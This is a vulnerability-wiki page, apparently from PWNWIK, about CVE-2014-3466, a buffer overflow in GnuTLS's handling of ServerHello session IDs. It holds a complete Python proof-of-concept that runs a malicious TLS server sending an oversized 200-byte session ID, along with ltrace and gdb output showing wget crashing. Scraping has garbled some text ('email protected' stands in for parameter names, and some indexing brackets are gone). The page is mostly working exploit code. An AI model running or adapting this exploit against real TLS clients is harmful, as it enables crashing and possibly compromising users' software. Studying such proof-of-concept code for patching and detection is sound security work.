Loading
0

CVE-2014-3466 GnuTLS缓冲区漏洞

PWNWIK.COM

,

Usage

$ python poc.py 4433
$ ldd $(which wget) 
...
	libnettle.so.4 => /usr/lib/x86_64-linux-gnu/libnettle.so.4 (0x00007fa8a026e000)
	libgnutls.so.28 => /usr/lib/x86_64-linux-gnu/libgnutls.so.28 (0x00007fa89ff5c000)
...

$ ltrace -riS -e gnutls_handshake wget -d https://localhost:4433
...
  0.000096 0x4308a0 wget->gnutls_handshake(0xdf5380, 4, 0xa4dd30, 0x7f30f2731620 <unfinished ...>
  0.000216 0x7f30f246b807 SYS_writev(4, 0x7fffc0b9c970, 1)    = 272
  0.000067 0x7f30f2473a4d SYS_recvfrom(4, 0xdf7920, 5, 0)     = 5
  0.500357 0x7f30f2473a4d SYS_recvfrom(4, 0xdfbad0, 250, 0)   = 250
  0.000095 0x7f30f2e408f0 --- SIGSEGV (Segmentation fault) ---
  0.004670 0xffffffffffffffff +++ killed by SIGSEGV +++

$ sudo apt-get install libgnutls28-dbg
$ gdb --args wget https://localhost:4433
...
(gdb) r
...
(gdb) bt full
...
#0  0x00007ffff79548f0 in _gnutls_supported_ciphersuites (email protected=0xa5e380, 
    email protected=0x7fffffffd340 <incomplete sequence \366\245>, 
    email protected=512) at ciphersuites.c:1311
#1  0x00007ffff78c759a in _gnutls_client_set_ciphersuite (email protected=0xa5e380, 
    email protectedentry=0xa64b5b '\377' <repeats 111 times>) at gnutls_handshake.c:1525
#2  0x00007ffff78cae15 in _gnutls_read_server_hello (datalen=<optimized out>, 
    data=0xa64a70 "\003\001S\213\177c\301\016\035r\n\263\370\247\017\365ieXB\200\301\373Oۚ\252\004\243\323Kq\307\310", '\377' <repeats 165 times>..., session=0xa5e380) at gnutls_handshake.c:1778
#3  _gnutls_recv_hello (email protected=0xa5e380, 
    data=0xa64a70 "\003\001S\213\177c\301\016\035r\n\263\370\247\017\365ieXB\200\301\373Oۚ\252\004\243\323Kq\307\310", '\377' <repeats 165 times>..., datalen=<optimized out>) at gnutls_handshake.c:2222
#4  0x00007ffff78cb64f in _gnutls_recv_handshake (email protected=0xa5e380, 
    email protected=GNUTLS_HANDSHAKE_SERVER_HELLO, email protected=0, email protected=0x0)
    at gnutls_handshake.c:1442
...

POC.py

#!/usr/bin/env python
#
# PoC for CVE-2014-3466 
# (gnutls: insufficient session id length check in _gnutls_read_server_hello)
#
# Author:   Aaron Zauner <email protected>
# License:  CC0 1.0 (https://creativecommons.org/publicdomain/zero/1.0)
#
import sys
import socket
import time

# Record Layer
R_Type          = '16'          # Handshake Protocol
R_Version       = '03 01'       # TLS 1.0
R_Length        = '00 fa'       # 250 Bytes

# Handshake Protocol: ServerHello
HS_Type         = '02'          # Handshake Type: ServerHello
HS_Length       = '00 00 f6'    # 246 Bytes
HS_Version      = '03 01'       # TLS 1.0
HS_Random       = '''
53 8b 7f 63 c1 0e 1d 72 0a b3 f8 a7 0f f5 5d 69 
65 58 42 80 c1 fb 4f db 9a aa 04 a3 d3 4b 71 c7
'''                             # Random (gmt_unix_time + random bytes)
HS_SessID_Len   = 'c8'          # Session ID Length 200 Bytes (!)
HS_SessID_Data  = '''
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
'''                             # Session ID Data (Payload)

MaliciousServerHello = (
    R_Type      + R_Version     + R_Length          + 
    HS_Type     + HS_Length     + HS_Version        + 
    HS_Random   + HS_SessID_Len + HS_SessID_Data
).replace(' ', '').replace('\n', '').decode('hex')

def main():
    try:
        PORT = int(sys.argv1)
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.bind(('', PORT))
        sock.listen(1)
        print "-- started listener on port", PORT

        while True:
            conn, addr = sock.accept()
            print "<< client connected:", addr

            time.sleep(0.5) # wait for ClientHello :P
            if conn.send(MaliciousServerHello):
                print ">> sent payload to", addr0

            conn.close()
    finally:
        sock.close()

if __name__ == '__main__':
    if len(sys.argv) <= 1:
       print "  Usage:\n\tpython poc.py port\n"
       exit(1)

    main()

免费、自由、人人可编辑的漏洞库